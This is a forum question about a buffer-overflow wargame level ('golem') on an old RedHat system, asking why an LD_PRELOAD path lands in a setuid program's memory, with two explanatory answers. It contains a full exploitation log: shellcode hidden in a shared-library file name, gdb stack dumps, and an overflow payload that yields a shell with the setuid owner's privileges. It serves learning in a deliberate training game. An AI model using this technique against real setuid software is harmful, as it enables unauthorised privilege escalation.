First of all, let me tell you the context.
I'm solving problems of the wargame called The lord of the BoF, which is based on RedHat Linux 6.2, which has no address space layout randomization(ASLR), NX bit, ASCII armor, etc.. And the gcc
there does not make any dummy when it compiles code. When I was trying to solve the problem called golem
, I wondered something.
The solving log
This is the source code of the golem
. As you can see, it fills the entire stack with 0
, except for the return address of main
.
login: skeleton
Password:
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
The golem
is an executable with setuid.
[skeleton@localhost skeleton]$ ls -l .
total 16
-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem
-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c
I made an empty shared library whose name contains shellcode, and set an environment variable LD_PRELOAD
with the file's absolute path.
[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
Then I copied the golem
in order to debug it with gdb
. I debugged it, and I found the string /home/skeleton/...(Shellcode)....so
at $ebp-1264
(0xbffff6b8
).
[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em
Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267 0x00000000 0x000003f0 0x000006db
...
(gdb)
0xbfffe8e8: 0x00000358 0x000003ac 0x0000058d 0x0000070d
...
(gdb)
0xbfffe9b0: 0x00000318 0x000006cb 0x000006e3 0x0000046b
...
(gdb)
0xbfffea78: 0x000004fa 0x00000570 0x000006b4 0x00000000
...
(gdb)
0xbfffeb40: 0x00000242 0x000006e7 0x000005a0 0x000005fa
...
(gdb)
0xbfffec08: 0x00000404 0x00000648 0x00000577 0x000002ec
...
(gdb)
0xbfffecd0: 0x00000000 0x00000000 0x000003a2 0x0000026c
...
(gdb)
0xbfffed98: 0x0000009c 0x000005fc 0x000001c2 0x00000563
...
(gdb)
0xbfffee60: 0x00000000 0x000004d9 0x000006c9 0x00000277
...
(gdb)
0xbfffef28: 0x000005f6 0x00000551 0x000000b6 0x00000000
...
(gdb)
0xbfffeff0: 0x000003a4 0x00000351 0x000006cd 0x000000b9
...
(gdb)
0xbffff0b8: 0x0000045f 0x000006dd 0x000004a6 0x00000000
...
(gdb)
0xbffff180: 0x000001c0 0x000005f1 0x00000457 0x00000712
...
(gdb)
0xbffff248: 0x0000070b 0x00000167 0x00000555 0x00000619
...
(gdb)
0xbffff310: 0x000004aa 0x000006be 0x000003ef 0x00000000
...
(gdb)
0xbffff3d8: 0x0000062e 0x00000569 0x00000000 0x000005a1
...
(gdb)
0xbffff4a0: 0xbfffe3cc 0xbfffe39c 0xbfffe414 0x00001000
...
(gdb)
0xbffff568: 0x40013c00 0x00000004 0x40014ba0 0x00000003
...
(gdb)
0xbffff630: 0x40013c00 0x4001a0d4 0x40010c9e 0x40000814
0xbffff640: 0x400138d4 0x40001402 0x400002f4 0x080482d0
0xbffff650: 0x080482d0 0xbffff69c 0x00000002 0x40023fd0
0xbffff660: 0x40013c00 0x4000ba15 0x40013868 0x40000814
0xbffff670: 0x400041b0 0x00000001 0xbffff684 0x40001528
0xbffff680: 0x000002c8 0x00000000 0x080482d0 0x00000000
0xbffff690: 0x00000001 0x40000824 0xbffff6a4 0x400075bb
0xbffff6a0: 0x40017000 0x00002fb2 0x40013868 0xbffff8e4
0xbffff6b0: 0x4000380e 0x400144d8 0x6d6f682f 0x6b732f65
0xbffff6c0: 0x74656c65 0x902f6e6f 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f0: 0x90909090 0x90909090
(gdb)
0xbffff6f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff708: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff718: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff728: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff738: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff758: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff768: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff778: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff788: 0x90909090 0x31909090 0x616850c0 0x68687361
0xbffff798: 0x6e696261 0x4e243480 0x04247480 0x2474804e
0xbffff7a8: 0xe3894e05 0xe1895350 0x0bb0d231 0x732e80cd
0xbffff7b8: 0x4000006f 0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8: '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7: '\220' <repeats 200 times>...
(gdb)
0xbffff78f: "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running. Exit anyway? (y or n) y
I overwrote the return address of the main
with the expected address of the shellcode so that the shellcode could be executed with the setuid, and it worked.
[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...
The question
Why was the shared library file's path string specified in an environment variable LD_PRELOAD
loaded on the memory of the executable that has setuid
? I was told that LD_PRELOAD
cannot be used with setuid
.
I've read
- Stack layout
- LD_PRELOAD with setuid binary
- why is the value of LD_PRELOAD on the stack (The OP is talking about the same problem,
golem
, but it's quite differ from what I'm asking.)
On Linux, all environment variables are visible to a program via a special third argument to
main()
traditionally calledenvp
: http://crasseux.com/books/ctutorial/Environment-variables.htmlIf
envp
is part of yourmain()
signature, it will point to an array containing all the environment variables. Even if it's not, it makes sense that the array might still exist in your program's address space.None of this means that the loader actually respects
LD_PRELOAD
in any specific scenario--it is free to ignore it, e.g. undersetuid
, but the variable will still exist.To elaborate a bit on John's answer, some env. variables are removed completely from setuid environment i.e. not passed to insecure subprocesses (e.g.
LD_DEBUG
) and some are plain ignored but passed to subprocesses (e.g.LD_PRELOAD
).